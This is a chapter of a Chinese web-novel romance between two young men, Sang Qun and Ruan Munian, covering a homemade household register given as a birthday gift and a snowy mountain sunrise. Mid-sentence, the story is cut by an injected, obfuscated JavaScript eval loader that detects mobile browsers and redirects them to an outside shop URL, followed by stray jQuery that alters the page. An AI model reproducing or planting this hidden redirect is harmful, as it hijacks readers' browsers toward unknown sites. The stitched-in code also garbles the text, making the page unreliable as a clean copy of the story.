那天之后，很多事都发生了变化。
逐渐频繁的见面，既是打着学习备考的旗号，也是两人心照不宣的关系修复。只有那天未竟的话题再没人提起，放任它消逝在那个黄昏的晚风中。
桑群能感觉到，他们做不回纯粹的朋友了。
没有哪对朋友的联系会像他们这样密切，也没有哪份友谊会如此沉重，但阮牧年想要的那个答案，桑群无法轻易给出。
他们已经不是小孩子了，也就无法随便许出唯一的诺言。
直到某次午休，桑群闷头写完卷子，往旁边一看，阮牧年居然趴在那里睡着了。
对方最近在帮他整理学习笔记，确实很辛苦。桑群看了眼椅子上的校服外套，想给他披上。
凑近的时候，听见了睡美人的呓语。
“……阿君羊……哥哥……”
久违到以为再也听不到的称呼从对方口中传出，那呼唤轻得几乎散进风里，却依旧抓住了桑群的听觉。
他梦到了什么？
桑群当着他的面偷听起来。
“……阿君羊哥哥……不要、丢下……年年……”
只这一句话就将他定在了原地，久久没有动作。
正午骄阳正燥，落地窗帘被沉闷的热风吹起一角，泄露进几缕光线。
阮牧年的脸埋进臂弯，挤压鼓起的脸颊让他看起来与幼时的脸庞逐渐相近。
桑群忽然就想通了。
对他而言，哪怕是家人也有被背叛的风险，他为此陷入踌躇，不愿给出承诺。
可对阮牧年而言，家人是他多年来可望不可即的存在。
漂泊了这么久的小可怜蛋，做梦都在哀求他，他又怎么能不心软呢？
那一年的生日，阮牧年收到了一份特别的生日礼物。
“迁户口需要登记，”桑群将自制的户口本摊开，放到他面前，“写吧，哥。”
阮牧年拿着笔，还有点没反应过来：“你叫我什么？”
桑群坚决不叫第二次。
“这个户口本……它有效用性吗？”阮牧年边写边忍不住问，“这是哪个局发行的？局长是谁？”
“局长是我，”桑群说，“你有什么意见？”
“没有意见，”阮牧年忍着笑，又问，“亲属关系这里……怎么填？”
“你是大儿子，”虽然很不愿意承认阮牧年证件上的出生日期，但毕竟是生日，让这家伙暗爽一下吧，桑群道，“我是小儿子。”
“那你应该叫我什么？”
“滚。”
“我不滚，叫什么啊？”
“阮牧年。”
“我不要叫这个。”
“写完了没？”
“没写完，你不说就写不完。”
“……别闹了，哥。”
“再说一遍吧……”
“别得寸进尺。”
……
回忆罅隙里的风声逐渐远去，现实的时空里，阮牧年静静地看着他，目光与那个黄昏里居高临下的眼神一点点靠拢。
“原来如此，”桑群终于完整地读懂了他眼里的情绪，“但我……更喜欢你现在这副表情。”
“为什么？”
“人们是靠反馈感而活的，”桑群偏头，将唇印在阮牧年手背上，“就像那天，我虽然惹你生气了，但还是想从你口中听到那些话。”
“就算是谎话？”
“嗯，就算是谎话，”桑群点头，“不过……你也不敢对我撒谎吧？”
“那不一定哦。”
“你好像很能耐？”
“一般一般啦，比你强而已。”
“那你过来。”
“哇，你要干嘛？”
“来看看你脸皮厚不厚。”
“别捏了别捏了，呜哇桑群你怎么可以这样报复我……”
“脸蛋这么软，怎么好意思说大话？”
两人闹了一阵，不远处的亭子喧动起来，那里不知何时坐满了人，可见阮牧年的决策非常正确。
“好像要日出了，”阮牧年查了一下天气预报，“你坐好啦，不要扭着。”
“我哪里扭了。”桑群很冤。他低头看了一眼，自己只是用脚踝跟阮牧年的勾在一起而已。
“我们要录像吗？”阮牧年问。
“不用，”桑群说，“眼睛看看就好。”
阮牧年应好，跟他缠着胳膊靠在一起，丝毫不提自己扭得更厉害。
反正也不是第一次了，桑群抬指挠了挠他的下巴，拉上围巾帮他遮好。
到了预报中的日出时间，天色隐隐发青，群山蜿蜒，黛色绵延。
真正坐在这里看，其实挺无聊的。光线推移得太缓慢，好几次桑群都差点睡着。
“好无聊哦，”阮牧年趴在他肩膀上小声吐槽，“纪录片里面很宏伟呢，刷啦一下一片金光……看来剪辑技术非常伟大。”
“嗯，”桑群半阖着眼，“太阳在哪里？天都亮了，我还没看见。”
“哦？那我看见了，”阮牧年立刻说，“你输啦，桑桑新娘。”
不是，这也能见缝插针地比？桑群睁开眼皮看着他：“那我也看见了。”
阮牧年没听懂：“不准耍赖。”
“没有耍赖。”桑群伸手捏了捏小太阳的脸蛋。
阮牧年晃了晃脑袋，没把这只手甩掉，反而被人按着亲了一口。
“好可爱，”桑群摸着他，“年年新娘。”
阮牧年红着脸推开他：“不行，我们回去再比一次……”
“有什么好比的，”桑群纳闷，“你输了你就是新娘，我输我是，不行吗？”
“怎么会有两个新娘啊？不行不行，”阮牧年连忙摇头，“我们待会儿就比……谁中午吃的饭多！”
“饭桶新郎吗？”桑群感到惊恐，“那我输了，我们别比这个。”
“唔……那我再想一个。”
正思考着，鼻尖忽然一凉，阮牧年疑惑抬头，目光一怔。
“桑桑，这是……”
他抬起手，一点极其细微的白粒落入手心，冰凉转瞬即逝。
“下、下雪了？”
太神奇了，从没见过雪的小南瓜惊奇地仰起头，边四处张望着纷纷碎碎的细雪，边不自觉微微张嘴。
桑群垂眸看他，一巴掌盖在他下巴上。
“呃。你干嘛！”阮牧年吃痛，回头瞪他。
“不要吃，”桑群的手没有移开，“不干净。用眼观赏就好。”
阮牧年冲他吐舌头，正好一点小雪落在舌尖，他神情一怔，当即抓住桑群要吻过去。
“？”
桑群赶紧躲开他。但餐巾纸就这么大，躲也躲不了多远，很快他就被抓住，被迫品尝他嫌弃的脏东西。
“唔，阮牧年！”
“哇桑桑，你也太不卫生了，”阮牧年在雪中笑嘻嘻道，“这么大了还吃雪，好幼稚。”
到底是谁幼稚，桑群眯了眯眼，手在背后蹭掉手套，迅速伸过去探进对方暖和的领口。
“嘶——”阮牧年被他冻了个正着，缩着脖子反击，“好坏。你也别想幸免！”
下着微雪的天气里面互掏对方脖子冻人，小学一年级的小孩子都不会这么干，两个刚成年的少年玩得不亦乐乎。
“好了，不闹了，”桑群微喘着气，拉着阮牧年围巾尾巴，把人拽进怀里，“再玩下去要着凉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356359|199683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。”
阮牧年笑着在他怀里蹭了蹭，翻过来：“我给你戴手套。”
手拿出来一会儿，又冻红了。桑群警告他：“别放嘴里。”
刚乱摸过一堆东西，早不干净了。
阮牧年边戴边仰头在他唇边亲了一下：“那这个可以放嘴里嘛？”
“嗯，”耳尖发热，桑群佯装自若，“可以。”
“没想到今年能在山上看到雪，”阮牧年的嘴就没停下过，“今年一定会变得超级幸运的！”
“这又是什么原理？”
“你教我的，”阮牧年说，“心诚则灵呀。”
风牛马不相及，桑群轻嗤：“那看日出也能应用这个原理了。”
“是呀，”阮牧年歪了歪头，“看我也可以。”
原来他听懂了那句话，桑群微微挑眉：“那你是什么，塑料神仙？”
“好难听呀，”阮牧年撇了撇嘴，“你刚才还不是这样说的。”
手套戴好，桑群接过阮牧年凌乱的围巾，帮他重新系好：“累不累，要下山吗？”
“几点了呀？”
“快八点了。”
“那还很早啊，我们再坐一会儿好了。”
阮牧年抚平皱起来的纸巾，暖烘烘地拱到桑群胳膊边：“就这样……静静坐一会儿吧。”
“睡着了怎么办？”桑群靠着他问。
“那只好我抱你下山了，”阮牧年难过地叹了口气，“辛苦我了。”
桑群笑了一声，又问：“你在看什么？”
“看到那边的山了吗？”阮牧年的目光飘远，“半山居雾若带然……云有点厚，鸟飞进去都看不见了。”
他在说什么，桑群迷茫地望去那个方向。
“据说那座山上茶田遍布，清香怡然，”眸里映着蔚蓝的天光，阮牧年向往道，“有机会的话，我们去参观一下吧。”
茶田……桑群忽然想起来，前几天新闻上播报过，东区边缘某座山上有一片茶园，A大相关专业似乎正在与茶户洽谈合作。
云流纤薄，飞鸟无踪，方才的细雪早已停下，新春的清晨掠过气味寒凉的风。
桑群忽然觉得晨雾有些浓，难怪看不见飞鸟的影子，原来飞鸟早已在云中。
“好啊，”他隔着手套跟阮牧年十指相扣，“你想去的话……那就一起去吧。”
阮牧年一怔：“我说的不止是山。”
“嗯，”桑群对上他的视线，表情不似作假，“我知道。”
“你要去校门口卖烧饼吗？”阮牧年担忧地问，“最近这种生意不好做呀。”
“滚，”桑群差点想揍他，“我说的是陪你、进去。”
“你还这么小，扮不好家长的。”阮牧年摇头。
桑群：“……阮牧年。”
“不要连名带姓叫我啊，好吓人，”阮牧年夸张地抖了抖，顿了一下才继续道，“真的陪我一起去吗？”
“当然，”桑群从来说到做到，“答应过你不分开的。”
阮牧年安静了一会儿，仰起头喊他：“桑桑……”
“嗯？”桑群温柔回应，准备好迎接爱哭鬼的感动眼泪。
结果阮牧年目光清明道：“那你的寒假作业真的不能再拖了，还有你落下的课堂笔记……”
桑群的温柔戛然而止：“不是……”
“你现在的分数太烂了，一直波动，”阮牧年坐直了一点，继续说，“要提分的话，还要多做一些练习……”
桑群搬起石头砸自己的脚：“你别说了……”
“不行，这件事刻不容缓。”
“求你了。”
“求也得排队。”
“……”